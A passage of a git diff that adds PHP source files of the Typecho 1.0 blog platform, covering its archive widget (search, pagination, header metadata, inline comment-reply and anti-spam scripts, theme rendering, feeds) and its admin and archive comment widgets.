Typecho_Router::url($currentRoute, $value, $this->options->feedRssUrl); + + /** ATOM 1.0 */ + $this->_feedAtomUrl = Typecho_Router::url($currentRoute, $value, $this->options->feedAtomUrl); + + /** 插件接口 */ + $this->pluginHandle()->dateHandle($this, $select); + } + + /** + * 处理搜索 + * + * @access private + * @param Typecho_Db_Query $select 查询对象 + * @param boolean $hasPushed 是否已经压入队列 + * @return void + */ + private function searchHandle(Typecho_Db_Query $select, &$hasPushed) + { + /** 增加自定义搜索引擎接口 */ + //~ fix issue 40 + $keywords = $this->request->filter('url', 'search')->keywords; + $this->pluginHandle()->trigger($hasPushed)->search($keywords, $this); + + if (!$hasPushed) { + $searchQuery = '%' . str_replace(' ', '%', $keywords) . '%'; + + /** 搜索无法进入隐私项保护归档 */ + $select->where('table.contents.password IS NULL') + ->where('table.contents.title LIKE ? OR table.contents.text LIKE ?', $searchQuery, $searchQuery) + ->where('table.contents.type = ?', 'post'); + } + + /** 设置关键词 */ + $this->_keywords = $keywords; + + /** 设置分页 */ + $this->_pageRow = array('keywords' => urlencode($keywords)); + + /** 设置头部feed */ + /** RSS 2.0 */ + $this->_feedUrl = Typecho_Router::url('search', array('keywords' => $keywords), $this->options->feedUrl); + + /** RSS 1.0 */ + $this->_feedRssUrl = Typecho_Router::url('search', array('keywords' => $keywords), $this->options->feedAtomUrl); + + /** ATOM 1.0 */ + $this->_feedAtomUrl = Typecho_Router::url('search', array('keywords' => $keywords), $this->options->feedAtomUrl); + + /** 设置标题 */ + $this->_archiveTitle = $keywords; + + /** 设置归档类型 */ + $this->_archiveType = 'search'; + + /** 插件接口 */ + $this->pluginHandle()->searchHandle($this, $select); + } + + /** + * 重载select + * + * @access public + * @return void + */ + public function select() + { + if ($this->_feed) { + // 对feed输出加入限制条件 + return parent::select()->where('table.contents.allowFeed = ?', 1) + ->where('table.contents.password IS NULL'); + } else { + return parent::select(); + } + } + + /** + * 提交查询 + * + * @access public + * @param mixed $select 查询对象 + * @return void + */ + public function query($select) + { + $this->pluginHandle()->trigger($queryPlugged)->query($this, $select); + if (!$queryPlugged) { + $this->db->fetchAll($select, array($this, 'push')); + } + } + + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + /** 避免重复取数据 */ + if ($this->have()) { + return; + } + + $handles = array( + 'index' => 'indexHandle', + 'index_page' => 'indexHandle', + 'archive' => 'error404Handle', + 'archive_page' => 'error404Handle', + 404 => 'error404Handle', + 'single' => 'singleHandle', + 'page' => 'singleHandle', + 'post' => 'singleHandle', + 'attachment' => 'singleHandle', + 'comment_page' => 'singleHandle', + 'category' => 'categoryHandle', + 'category_page' => 'categoryHandle', + 'tag' => 'tagHandle', + 'tag_page' => 'tagHandle', + 'author' => 'authorHandle', + 'author_page' => 'authorHandle', + 'archive_year' => 'dateHandle', + 'archive_year_page' => 'dateHandle', + 'archive_month' => 'dateHandle', + 'archive_month_page' => 'dateHandle', + 'archive_day' => 'dateHandle', + 'archive_day_page' => 'dateHandle', + 'search' => 'searchHandle', + 'search_page' => 'searchHandle' + ); + + /** 处理搜索结果跳转 */ + if (isset($this->request->s)) { + $filterKeywords = $this->request->filter('search')->s; + + /** 跳转到搜索页 */ + if (NULL != $filterKeywords) { + $this->response->redirect(Typecho_Router::url('search', + array('keywords' => urlencode($filterKeywords)), $this->options->index)); + } + } + + /** 自定义首页功能 */ + $frontPage = $this->options->frontPage; + if (!$this->_invokeByFeed && ('index' == $this->parameter->type || 'index_page' == $this->parameter->type)) { + //显示某个页面 + if (0 === strpos($frontPage, 'page:')) { + // 对某些变量做hack + $this->request->setParam('cid', intval(substr($frontPage, 5))); + $this->parameter->type = 'page'; + $this->_makeSinglePageAsFrontPage = true; + } else if (0 === strpos($frontPage, 'file:')) { + // 显示某个文件 + $this->setThemeFile(substr($frontPage, 5)); + return; + } + } + + if ('recent' != $frontPage && $this->options->frontArchive) { + $handles['archive'] = 'indexHandle'; + $handles['archive_page'] = 'indexHandle'; + $this->_archiveType = 'front'; + } + + /** 初始化分页变量 */ + $this->_currentPage = isset($this->request->page) ? $this->request->page : 1; + $hasPushed = false; + + /** select初始化 */ + $select = $this->pluginHandle()->trigger($selectPlugged)->select($this); + + /** 定时发布功能 */ + if (!$selectPlugged) { + if ('post' == $this->parameter->type || 'page' == $this->parameter->type) { + if ($this->user->hasLogin()) { + $select = $this->select()->where('table.contents.status = ? OR table.contents.status = ? OR + (table.contents.status = ? AND table.contents.authorId = ?)', + 'publish', 'hidden', 'private', $this->user->uid); + } else { + $select = $this->select()->where('table.contents.status = ? OR table.contents.status = ?', + 'publish', 'hidden'); + } + } else { + if ($this->user->hasLogin()) { + $select = $this->select()->where('table.contents.status = ? OR + (table.contents.status = ? AND table.contents.authorId = ?)', 'publish', 'private', $this->user->uid); + } else { + $select = $this->select()->where('table.contents.status = ?', 'publish'); + } + } + $select->where('table.contents.created < ?', $this->options->gmtTime); + } + + /** handle初始化 */ + $this->pluginHandle()->handleInit($this, $select); + + /** 初始化其它变量 */ + $this->_feedUrl = $this->options->feedUrl; + $this->_feedRssUrl = $this->options->feedRssUrl; + $this->_feedAtomUrl = $this->options->feedAtomUrl; + $this->_keywords = $this->options->keywords; + $this->_description = $this->options->description; + + if (isset($handles[$this->parameter->type])) { + $handle = $handles[$this->parameter->type]; + $this->{$handle}($select, $hasPushed); + } else { + $hasPushed = $this->pluginHandle()->handle($this->parameter->type, $this, $select); + } + + /** 初始化皮肤函数 */ + $functionsFile = $this->_themeDir . 'functions.php'; + if (!$this->_invokeFromOutside && file_exists($functionsFile)) { + require_once $functionsFile; + if (function_exists('themeInit')) { + themeInit($this); + } + } + + /** 如果已经提前压入则直接返回 */ + if ($hasPushed) { + return; + } + + /** 仅输出文章 */ + $this->_countSql = clone $select; + + $select->order('table.contents.created', Typecho_Db::SORT_DESC) + ->page($this->_currentPage, $this->parameter->pageSize); + $this->query($select); + } + + /** + * 输出文章内容 + * + * @access public + * @param string $more 文章截取后缀 + * @return void + */ + public function content($more = NULL) + { + parent::content($this->is('single') ? false : $more); + } + + /** + * 输出分页 + * + * @access public + * @param string $prev 上一页文字 + * @param string $next 下一页文字 + * @param int $splitPage 分割范围 + * @param string $splitWord 分割字符 + * @param string $template 展现配置信息 + * @return void + */ + public function pageNav($prev = '«', $next = '»', $splitPage = 3, $splitWord = '...', $template = '') + { + if ($this->have()) { + $hasNav = false; + $default = array( + 'wrapTag' => 'ol', + 'wrapClass' => 'page-navigator' + ); + + if (is_string($template)) { + parse_str($template, $config); + } else { + $config = $template; + } + + $template = array_merge($default, $config); + + $total = $this->getTotal(); + $this->pluginHandle()->trigger($hasNav)->pageNav($this->_currentPage, $total, + $this->parameter->pageSize, $prev, $next, $splitPage, $splitWord); + + if (!$hasNav && $total > $this->parameter->pageSize) { + $query = Typecho_Router::url($this->parameter->type . + (false === strpos($this->parameter->type, '_page') ? '_page' : NULL), + $this->_pageRow, $this->options->index); + + /** 使用盒状分页 */ + $nav = new Typecho_Widget_Helper_PageNavigator_Box($total, + $this->_currentPage, $this->parameter->pageSize, $query); + + echo '<' . $template['wrapTag'] . (empty($template['wrapClass']) + ? '' : ' class="' . $template['wrapClass'] . '"') . '>'; + $nav->render($prev, $next, $splitPage, $splitWord, $template); + echo '</' . $template['wrapTag'] . '>'; + } + } + } + + /** + * 前一页 + * + * @access public + * @param string $word 链接标题 + * @param string $page 页面链接 + * @return void + */ + public function pageLink($word = '« Previous Entries', $page = 'prev') + { + if ($this->have()) { + if (empty($this->_pageNav)) { + $query = Typecho_Router::url($this->parameter->type . + (false === strpos($this->parameter->type, '_page') ? '_page' : NULL), + $this->_pageRow, $this->options->index); + + /** 使用盒状分页 */ + $this->_pageNav = new Typecho_Widget_Helper_PageNavigator_Classic($this->getTotal(), + $this->_currentPage, $this->parameter->pageSize, $query); + } + + $this->_pageNav->{$page}($word); + } + } + + /** + * 获取评论归档对象 + * + * @access public + * @return Widget_Abstract_Comments + */ + public function comments() + { + $parameter = array( + 'parentId' => $this->hidden ? 0 : $this->cid, + 'parentContent' => $this->row, + 'respondId' => $this->respondId, + 'commentPage' => $this->request->filter('int')->commentPage, + 'allowComment' => $this->allow('comment') + ); + + return $this->widget('Widget_Comments_Archive', $parameter); + } + + /** + * 获取回响归档对象 + * + * @access public + * @return Widget_Comments_Ping + */ + public function pings() + { + return $this->widget('Widget_Comments_Ping', array( + 'parentId' => $this->hidden ? 0 : $this->cid, + 'parentContent' => $this->row, + 'allowPing' => $this->allow('ping') + )); + } + + /** + * 获取附件对象 + * + * @access public + * @param integer $limit 最大个数 + * @param integer $offset 重新 + * @return Widget_Contents_Attachment_Related + */ + public function attachments($limit = 0, $offset = 0) + { + return $this->widget('Widget_Contents_Attachment_Related@' . $this->cid . '-' . uniqid(), array( + 'parentId' => $this->cid, + 'limit' => $limit, + 'offset' => $offset + )); + } + + /** + * 显示下一个内容的标题链接 + * + * @access public + * @param string $format 格式 + * @param string $default 如果没有下一篇,显示的默认文字 + * @param array $custom 定制化样式 + * @return void + */ + public function theNext($format = '%s', $default = NULL, $custom = array()) + { + $content = $this->db->fetchRow($this->select()->where('table.contents.created > ? AND table.contents.created < ?', + $this->created, $this->options->gmtTime) + ->where('table.contents.status = ?', 'publish') + ->where('table.contents.type = ?', $this->type) + ->where('table.contents.password IS NULL') + ->order('table.contents.created', Typecho_Db::SORT_ASC) + ->limit(1)); + + if ($content) { + $content = $this->filter($content); + $default = array( + 'title' => NULL, + 'tagClass' => NULL + ); + $custom = array_merge($default, $custom); + extract($custom); + + $linkText = empty($title) ? $content['title'] : $title; + $linkClass = empty($tagClass) ? '' : 'class="' . $tagClass . '" '; + $link = '<a ' . $linkClass . 'href="' . $content['permalink'] . '" title="' . $content['title'] . '">' . $linkText . '</a>'; + + printf($format, $link); + } else { + echo $default; + } + } + + /** + * 显示上一个内容的标题链接 + * + * @access public + * @param string $format 格式 + * @param string $default 如果没有上一篇,显示的默认文字 + * @param array $custom 定制化样式 + * @return void + */ + public function thePrev($format = '%s', $default = NULL, $custom = array()) + { + $content = $this->db->fetchRow($this->select()->where('table.contents.created < ?', $this->created) + ->where('table.contents.status = ?', 'publish') + ->where('table.contents.type = ?', $this->type) + ->where('table.contents.password IS NULL') + ->order('table.contents.created', Typecho_Db::SORT_DESC) + ->limit(1)); + + if ($content) { + $content = $this->filter($content); + $default = array( + 'title' => NULL, + 'tagClass' => NULL + ); + $custom = array_merge($default, $custom); + extract($custom); + + $linkText = empty($title) ? $content['title'] : $title; + $linkClass = empty($tagClass) ? '' : 'class="' . $tagClass . '" '; + $link = '<a ' . $linkClass . 'href="' . $content['permalink'] . '" title="' . $content['title'] . '">' . $linkText . '</a>'; + + printf($format, $link); + } else { + echo $default; + } + } + + /** + * 获取关联内容组件 + * + * @access public + * @param integer $limit 输出数量 + * @param string $type 关联类型 + * @return Typecho_Widget + */ + public function related($limit = 5, $type = NULL) + { + $type = strtolower($type); + + switch ($type) { + case 'author': + /** 如果访问权限被设置为禁止,则tag会被置为空 */ + return $this->widget('Widget_Contents_Related_Author', + array('cid' => $this->cid, 'type' => $this->type, 'author' => $this->author->uid, 'limit' => $limit)); + default: + /** 如果访问权限被设置为禁止,则tag会被置为空 */ + return $this->widget('Widget_Contents_Related', + array('cid' => $this->cid, 'type' => $this->type, 'tags' => $this->tags, 'limit' => $limit)); + } + } + + /** + * 输出头部元数据 + * + * @access public + * @param string $rule 规则 + * @return void + */ + public function header($rule = NULL) + { + $rules = array(); + $allows = array( + 'description' => htmlspecialchars($this->_description), + 'keywords' => htmlspecialchars($this->_keywords), + 'generator' => $this->options->generator, + 'template' => $this->options->theme, + 'pingback' => $this->options->xmlRpcUrl, + 'xmlrpc' => $this->options->xmlRpcUrl . '?rsd', + 'wlw' => $this->options->xmlRpcUrl . '?wlw', + 'rss2' => $this->_feedUrl, + 'rss1' => $this->_feedRssUrl, + 'commentReply' => 1, + 'antiSpam' => 1, + 'atom' => $this->_feedAtomUrl + ); + + /** 头部是否输出聚合 */ + $allowFeed = !$this->is('single') || $this->allow('feed') || $this->_makeSinglePageAsFrontPage; + + if (!empty($rule)) { + parse_str($rule, $rules); + $allows = array_merge($allows, $rules); + } + + $allows = $this->pluginHandle()->headerOptions($allows, $this); + + $header = ''; + if (!empty($allows['description'])) { + $header .= '<meta name="description" content="' . $allows['description'] . '" />' . "\n"; + } + + if (!empty($allows['keywords'])) { + $header .= '<meta name="keywords" content="' . $allows['keywords'] . '" />' . "\n"; + } + + if (!empty($allows['generator'])) { + $header .= '<meta name="generator" content="' . $allows['generator'] . '" />' . "\n"; + } + + if (!empty($allows['template'])) { + $header .= '<meta name="template" content="' . $allows['template'] . '" />' . "\n"; + } + + if (!empty($allows['pingback'])) { + $header .= '<link rel="pingback" href="' . $allows['pingback'] . '" />' . "\n"; + } + + if (!empty($allows['xmlrpc'])) { + $header .= '<link rel="EditURI" type="application/rsd+xml" title="RSD" href="' . $allows['xmlrpc'] . '" />' . "\n"; + } + + if (!empty($allows['wlw'])) { + $header .= '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="' . $allows['wlw'] . '" />' . "\n"; + } + + if (!empty($allows['rss2']) && $allowFeed) { + $header .= '<link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="' . $allows['rss2'] . '" />' . "\n"; + } + + if (!empty($allows['rss1']) && $allowFeed) { + $header .= '<link rel="alternate" type="application/rdf+xml" title="RSS 1.0" href="' . $allows['rss1'] . '" />' . "\n"; + } + + if (!empty($allows['atom']) && $allowFeed) { + $header .= '<link rel="alternate" type="application/atom+xml" title="ATOM 1.0" href="' . $allows['atom'] . '" />' . "\n"; + } + + if ($this->options->commentsThreaded && $this->is('single')) { + if ('' != $allows['commentReply']) { + if (1 == $allows['commentReply']) { + $header .= "<script type=\"text/javascript\"> +(function () { + window.TypechoComment = { + dom : function (id) { + return document.getElementById(id); + }, + + create : function (tag, attr) { + var el = document.createElement(tag); + + for (var key in attr) { + el.setAttribute(key, attr[key]); + } + + return el; + }, + + reply : function (cid, coid) { + var comment = this.dom(cid), parent = comment.parentNode, + response = this.dom('" . $this->respondId . "'), input = this.dom('comment-parent'), + form = 'form' == response.tagName ? response : response.getElementsByTagName('form')[0], + textarea = response.getElementsByTagName('textarea')[0]; + + if (null == input) { + input = this.create('input', { + 'type' : 'hidden', + 'name' : 'parent', + 'id' : 'comment-parent' + }); + + form.appendChild(input); + } + + input.setAttribute('value', coid); + + if (null == this.dom('comment-form-place-holder')) { + var holder = this.create('div', { + 'id' : 'comment-form-place-holder' + }); + + response.parentNode.insertBefore(holder, response); + } + + comment.appendChild(response); + this.dom('cancel-comment-reply-link').style.display = ''; + + if (null != textarea && 'text' == textarea.name) { + textarea.focus(); + } + + return false; + }, + + cancelReply : function () { + var response = this.dom('{$this->respondId}'), + holder = this.dom('comment-form-place-holder'), input = this.dom('comment-parent'); + + if (null != input) { + input.parentNode.removeChild(input); + } + + if (null == holder) { + return true; + } + + this.dom('cancel-comment-reply-link').style.display = 'none'; + holder.parentNode.insertBefore(response, holder); + return false; + } + }; +})(); +</script> +"; + } else { + $header .= '<script src="' . $allows['commentReply'] . '" type="text/javascript"></script>'; + } + } + } + + /** 反垃圾设置 */ + if ($this->options->commentsAntiSpam && $this->is('single')) { + if ('' != $allows['antiSpam']) { + if (1 == $allows['antiSpam']) { + $header .= "<script type=\"text/javascript\"> +(function () { + var event = document.addEventListener ? { + add: 'addEventListener', + focus: 'focus', + load: 'DOMContentLoaded' + } : { + add: 'attachEvent', + focus: 'onfocus', + load: 'onload' + }; + + document[event.add](event.load, function () { + var r = document.getElementById('{$this->respondId}'); + + if (null != r) { + var forms = r.getElementsByTagName('form'); + if (forms.length > 0) { + var f = forms[0], textarea = f.getElementsByTagName('textarea')[0], added = false; + + if (null != textarea && 'text' == textarea.name) { + textarea[event.add](event.focus, function () { + if (!added) { + var input = document.createElement('input'); + input.type = 'hidden'; + input.name = '_'; + input.value = " . Typecho_Common::shuffleScriptVar( + $this->security->getToken($this->request->getRequestUrl())) . " + + f.appendChild(input); + added = true; + } + }); + } + } + } + }); +})(); +</script>"; + } else { + $header .= '<script src="' . $allows['antiSpam'] . '" type="text/javascript"></script>'; + } + } + } + + /** 插件支持 */ + $this->pluginHandle()->header($header, $this); + + /** 输出header */ + echo $header; + } + + /** + * 支持页脚自定义 + * + * @access public + * @return void + */ + public function footer() + { + $this->pluginHandle()->footer($this); + } + + /** + * 输出cookie记忆别名 + * + * @access public + * @param string $cookieName 已经记忆的cookie名称 + * @param boolean $return 是否返回 + * @return string + */ + public function remember($cookieName, $return = false) + { + $cookieName = strtolower($cookieName); + if (!in_array($cookieName, array('author', 'mail', 'url'))) { + return ''; + } + + $value = Typecho_Cookie::get('__typecho_remember_' . $cookieName); + if ($return) { + return $value; + } else { + echo htmlspecialchars($value); + } + } + + /** + * 输出归档标题 + * + * @param mixed $defines + * @param string $before + * @param string $end + * @access public + * @return void + */ + public function archiveTitle($defines = NULL, $before = ' » ', $end = '') + { + if ($this->_archiveTitle) { + $define = '%s'; + if (is_array($defines) && !empty($defines[$this->_archiveType])) { + $define = $defines[$this->_archiveType]; + } + + echo $before . sprintf($define, $this->_archiveTitle) . $end; + } + } + + /** + * 输出关键字 + * + * @access public + */ + public function keywords($split = ',', $default = '') + { + echo empty($this->_keywords) ? $default : str_replace(',', $split, htmlspecialchars($this->_keywords)); + } + + /** + * 判断归档类型和名称 + * + * @access public + * @param string $archiveType 归档类型 + * @param string $archiveSlug 归档名称 + * @return boolean + */ + public function is($archiveType, $archiveSlug = NULL) + { + return ($archiveType == $this->_archiveType || + (($this->_archiveSingle ? 'single' : 'archive') == $archiveType && 'index' != $this->_archiveType) || + ('index' == $archiveType && $this->_makeSinglePageAsFrontPage)) + && (empty($archiveSlug) ? true : $archiveSlug == $this->_archiveSlug); + } + + /** + * 获取主题文件 + * + * @access public + * @param string $fileName 主题文件 + * @return void + */ + public function need($fileName) + { + require $this->_themeDir . $fileName; + } + + /** + * 输出视图 + * + * @access public + * @return void + */ + public function render() + { + /** 处理静态链接跳转 */ + $this->checkPermalink(); + + /** 添加Pingback */ + $this->response->setHeader('X-Pingback', $this->options->xmlRpcUrl); + $validated = false; + + //~ 自定义模板 + if (!empty($this->_themeFile)) { + if (file_exists($this->_themeDir . $this->_themeFile)) { + $validated = true; + } + } + + if (!$validated && !empty($this->_archiveType)) { + + //~ 首先找具体路径, 比如 category/default.php + if (!$validated && !empty($this->_archiveSlug)) { + $themeFile = $this->_archiveType . '/' . $this->_archiveSlug . '.php'; + if (file_exists($this->_themeDir . $themeFile)) { + $this->_themeFile = $themeFile; + $validated = true; + } + } + + //~ 然后找归档类型路径, 比如 category.php + if (!$validated) { + $themeFile = $this->_archiveType . '.php'; + if (file_exists($this->_themeDir . $themeFile)) { + $this->_themeFile = $themeFile; + $validated = true; + } + } + + //针对attachment的hook + if (!$validated && 'attachment' == $this->_archiveType) { + if (file_exists($this->_themeDir . 'page.php')) { + $this->_themeFile = 'page.php'; + $validated = true; + } else if (file_exists($this->_themeDir . 'post.php')) { + $this->_themeFile = 'post.php'; + $validated = true; + } + } + + //~ 最后找归档路径, 比如 archive.php 或者 single.php + if (!$validated && 'index' != $this->_archiveType && 'front' != $this->_archiveType) { + $themeFile = $this->_archiveSingle ? 'single.php' : 'archive.php'; + if (file_exists($this->_themeDir . $themeFile)) { + $this->_themeFile = $themeFile; + $validated = true; + } + } + + if (!$validated) { + $themeFile = 'index.php'; + if (file_exists($this->_themeDir . $themeFile)) { + $this->_themeFile = $themeFile; + $validated = true; + } + } + } + + /** 文件不存在 */ + if (!$validated) { + Typecho_Common::error(500); + } + + /** 挂接插件 */ + $this->pluginHandle()->beforeRender($this); + + /** 输出模板 */ + require_once $this->_themeDir . $this->_themeFile; + + /** 挂接插件 */ + $this->pluginHandle()->afterRender($this); + } + + /** + * 输出feed + * + * @access public + * @return void + */ + public function feed() + { + $this->_feed->setSubTitle($this->_description); + $this->_feed->setFeedUrl($this->_currentFeedUrl); + + $this->_feed->setBaseUrl(('/' == $this->request->feed || 0 == strlen($this->request->feed) + || '/comments' == $this->request->feed || '/comments/' == $this->request->feed) ? + $this->options->siteUrl : Typecho_Common::url($this->request->feed, $this->options->index)); + $this->_feed->setFeedUrl($this->request->makeUriByRequest()); + + if ($this->is('single') || 'comments' == $this->parameter->type) { + $this->_feed->setTitle(_t('%s 的评论', + $this->options->title . ($this->_archiveTitle ? ' - ' . $this->_archiveTitle : NULL))); + + if ('comments' == $this->parameter->type) { + $comments = $this->widget('Widget_Comments_Recent', 'pageSize=10'); + } else { + $comments = $this->widget('Widget_Comments_Recent', 'pageSize=10&parentId=' . $this->cid); + } + + while ($comments->next()) { + $suffix = $this->pluginHandle()->trigger($plugged)->commentFeedItem($this->_feedType, $comments); + if (!$plugged) { + $suffix = NULL; + } + + $this->_feed->addItem(array( + 'title' => $comments->author, + 'content' => $comments->content, + 'date' => $comments->created, + 'link' => $comments->permalink, + 'author' => (object) array( + 'screenName' => $comments->author, + 'url' => $comments->url, + 'mail' => $comments->mail + ), + 'excerpt' => strip_tags($comments->content), + 'suffix' => $suffix + )); + } + } else { + $this->_feed->setTitle($this->options->title . ($this->_archiveTitle ? ' - ' . $this->_archiveTitle : NULL)); + + while ($this->next()) { + $suffix = $this->pluginHandle()->trigger($plugged)->feedItem($this->_feedType, $this); + if (!$plugged) { + $suffix = NULL; + } + + $feedUrl = ''; + if (Typecho_Feed::RSS2 == $this->_feedType) { + $feedUrl = $this->feedUrl; + } else if (Typecho_Feed::RSS1 == $this->_feedType) { + $feedUrl = $this->feedRssUrl; + } else if (Typecho_Feed::ATOM1 == $this->_feedType) { + $feedUrl = $this->feedAtomUrl; + } + + $this->_feed->addItem(array( + 'title' => $this->title, + 'content' => $this->options->feedFullText ? $this->content : (false !== strpos($this->text, '<!--more-->') ? + $this->excerpt . "<p class=\"more\"><a href=\"{$this->permalink}\" title=\"{$this->title}\">[...]</a></p>" : $this->content), + 'date' => $this->created, + 'link' => $this->permalink, + 'author' => $this->author, + 'excerpt' => $this->description, + 'comments' => $this->commentsNum, + 'commentsFeedUrl' => $feedUrl, + 'suffix' => $suffix + )); + } + } + + $this->response->setContentType($this->_feedContentType); + echo $this->_feed->__toString(); + } +} + diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Comments/Admin.php b/Typecho/1.0/php-fpm/src/var/Widget/Comments/Admin.php new file mode 100755 index 000000000..776ff8cc4 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Comments/Admin.php @@ -0,0 +1,147 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * Typecho Blog Platform + * + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 后台评论输出组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Comments_Admin extends Widget_Abstract_Comments +{ + /** + * 分页计算对象 + * + * @access private + * @var Typecho_Db_Query + */ + private $_countSql; + + /** + * 当前页 + * + * @access private + * @var integer + */ + private $_currentPage; + + /** + * 所有文章个数 + * + * @access private + * @var integer + */ + private $_total = false; + + /** + * 获取当前内容结构 + * + * @access protected + * @return array + */ + protected function ___parentContent() + { + $cid = isset($this->request->cid) ? $this->request->filter('int')->cid : $this->cid; + return $this->db->fetchRow($this->widget('Widget_Abstract_Contents')->select() + ->where('table.contents.cid = ?', $cid) + ->limit(1), array($this->widget('Widget_Abstract_Contents'), 'filter')); + } + + /** + * 获取菜单标题 + * + * @access public + * @return string + */ + public function getMenuTitle() + { + $content = $this->parentContent; + + if ($content) { + return _t('%s的评论', $content['title']); + } + + throw new Typecho_Widget_Exception(_t('内容不存在'), 404); + } + + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + $select = $this->select(); + $this->parameter->setDefault('pageSize=20'); + $this->_currentPage = $this->request->get('page', 1); + + /** 过滤标题 */ + if (NULL != ($keywords = $this->request->filter('search')->keywords)) { + $select->where('table.comments.text LIKE ?', '%' . $keywords . '%'); + } + + /** 如果具有贡献者以上权限,可以查看所有评论,反之只能查看自己的评论 */ + if (!$this->user->pass('editor', true)) { + $select->where('table.comments.ownerId = ?', $this->user->uid); + } else if (!isset($this->request->cid)) { + if ('on' == $this->request->__typecho_all_comments) { + Typecho_Cookie::set('__typecho_all_comments', 'on'); + } else { + if ('off' == $this->request->__typecho_all_comments) { + Typecho_Cookie::set('__typecho_all_comments', 'off'); + } + + if ('on' != Typecho_Cookie::get('__typecho_all_comments')) { + $select->where('table.comments.ownerId = ?', $this->user->uid); + } + } + } + + if (in_array($this->request->status, array('approved', 'waiting', 'spam'))) { + $select->where('table.comments.status = ?', $this->request->status); + } else if ('hold' == $this->request->status) { + $select->where('table.comments.status <> ?', 'approved'); + } else { + $select->where('table.comments.status = ?', 'approved'); + } + + //增加按文章归档功能 + if (isset($this->request->cid)) { + $select->where('table.comments.cid = ?', $this->request->filter('int')->cid); + } + + $this->_countSql = clone $select; + + $select->order('table.comments.coid', Typecho_Db::SORT_DESC) + ->page($this->_currentPage, $this->parameter->pageSize); + + $this->db->fetchAll($select, array($this, 'push')); + } + + /** + * 输出分页 + * + * @access public + * @return void + */ + public function pageNav() + { + $query = $this->request->makeUriByRequest('page={page}'); + + /** 使用盒状分页 */ + $nav = new Typecho_Widget_Helper_PageNavigator_Box(false === $this->_total ? $this->_total = $this->size($this->_countSql) : $this->_total, + $this->_currentPage, $this->parameter->pageSize, $query); + $nav->render(_t('«'), _t('»')); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Comments/Archive.php b/Typecho/1.0/php-fpm/src/var/Widget/Comments/Archive.php new file mode 100755 index 000000000..5f0c810ed --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Comments/Archive.php @@ -0,0 +1,519 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 评论归档 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 评论归档组件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Comments_Archive extends Widget_Abstract_Comments +{ + /** + * 当前页 + * + * @access private + * @var integer + */ + private $_currentPage; + + /** + * 所有文章个数 + * + * @access private + * @var integer + */ + private $_total = false; + + /** + * 子父级评论关系 + * + * @access private + * @var array + */ + private $_threadedComments = array(); + + /** + * 多级评论回调函数 + * + * @access private + * @var mixed + */ + private $_customThreadedCommentsCallback = false; + + /** + * _singleCommentOptions + * + * @var mixed + * @access private + */ + private $_singleCommentOptions = NULL; + + /** + * 构造函数,初始化组件 + * + * @access public + * @param mixed $request request对象 + * @param mixed $response response对象 + * @param mixed $params 参数列表 + * @return void + */ + public function __construct($request, $response, $params = NULL) + { + parent::__construct($request, $response, $params); + $this->parameter->setDefault('parentId=0&commentPage=0&commentsNum=0&allowComment=1'); + + /** 初始化回调函数 */ + if (function_exists('threadedComments')) { + $this->_customThreadedCommentsCallback = true; + } + } + + /** + * 评论回调函数 + * + * @access private + * @return void + */ + private function threadedCommentsCallback() + { + $singleCommentOptions = $this->_singleCommentOptions; + if ($this->_customThreadedCommentsCallback) { + return threadedComments($this, $singleCommentOptions); + } + + $commentClass = ''; + if ($this->authorId) { + if ($this->authorId == $this->ownerId) { + $commentClass .= ' comment-by-author'; + } else { + $commentClass .= ' comment-by-user'; + } + } + + $commentLevelClass = $this->levels > 0 ? ' comment-child' : ' comment-parent'; +?> +<li itemscope itemtype="http://schema.org/UserComments" id="<?php $this->theId(); ?>" class="comment-body<?php + if ($this->levels > 0) { + echo ' comment-child'; + $this->levelsAlt(' comment-level-odd', ' comment-level-even'); + } else { + echo ' comment-parent'; + } + $this->alt(' comment-odd', ' comment-even'); + echo $commentClass; +?>"> + <div class="comment-author" itemprop="creator" itemscope itemtype="http://schema.org/Person"> + <span itemprop="image"><?php $this->gravatar($singleCommentOptions->avatarSize, $singleCommentOptions->defaultAvatar); ?></span> + <cite class="fn" itemprop="name"><?php $singleCommentOptions->beforeAuthor(); + $this->author(); + $singleCommentOptions->afterAuthor(); ?></cite> + </div> + <div class="comment-meta"> + <a href="<?php $this->permalink(); ?>"><time itemprop="commentTime" datetime="<?php $this->date('c'); ?>"><?php $singleCommentOptions->beforeDate(); + $this->date($singleCommentOptions->dateFormat); + $singleCommentOptions->afterDate(); ?></time></a> + <?php if ('waiting' == $this->status) { ?> + <em class="comment-awaiting-moderation"><?php $singleCommentOptions->commentStatus(); ?></em> + <?php } ?> + </div> + <div class="comment-content" itemprop="commentText"> + <?php $this->content(); ?> + </div> + <div class="comment-reply"> + <?php $this->reply($singleCommentOptions->replyWord); ?> + </div> + <?php if ($this->children) { ?> + <div class="comment-children" itemprop="discusses"> + <?php $this->threadedComments(); ?> + </div> + <?php } ?> +</li> +<?php + } + + /** + * 获取当前评论链接 + * + * @access protected + * @return string + */ + protected function ___permalink() + { + + if ($this->options->commentsPageBreak) { + $pageRow = array('permalink' => $this->parentContent['pathinfo'], 'commentPage' => $this->_currentPage); + return Typecho_Router::url('comment_page', + $pageRow, $this->options->index) . '#' . $this->theId; + } + + return $this->parentContent['permalink'] . '#' . $this->theId; + } + + /** + * 子评论 + * + * @access protected + * @return array + */ + protected function ___children() + { + return $this->options->commentsThreaded && !$this->isTopLevel && isset($this->_threadedComments[$this->coid]) + ? $this->_threadedComments[$this->coid] : array(); + } + + /** + * 是否到达顶层 + * + * @access protected + * 